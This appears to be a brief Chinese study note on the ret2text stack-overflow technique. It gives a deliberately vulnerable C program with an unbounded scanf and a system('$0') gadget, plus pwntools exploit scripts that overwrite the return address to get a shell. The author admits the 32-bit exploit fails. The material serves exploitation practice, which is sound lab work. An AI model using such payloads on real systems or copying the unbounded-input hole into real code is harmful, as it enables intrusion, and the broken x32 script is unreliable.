文章目录
- 原理:
- 例子
- x64
- x32
原理:
覆盖函数返回地址到程序内存在的gadgets获取shell
例子
#include<stdio.h>
#include<stdlib.h>
void hint(){
system("$0");
}
int main(){
char buf[0x10];
printf("input: ");
scanf("%s", buf);
return 0;
}
// gcc ret2text.c -o ret2text_64 -no-pie -fno-stack-protector
// gcc ret2text.c -o ret2text_32 -no-pie -fno-stack-protector -m32
x64
直接溢出至hint函数处即可
解题:
from pwn import *
o = process("ret2text_64")
hint = 0x4005D6
payload = b'a'*24 + p64(hint)
o.sendline(payload)
o.interactive()
x32
32位这里遇到个问题,按理来说覆盖长度为0x18+4
,
找到hint函数地址就可以解出题目了,但是打死都不行。
from pwn import *
o = process("ret2text_32")
hint = 0x804849B
pause()
payload = b'a'*(0x18+4) + p32(hint)
o.sendline(payload)
o.interactive()
gdb断点至scanf函数处,也没看出来哪里出现了问题
问大佬说是因为需要绕过ecx
太菜暂未解决。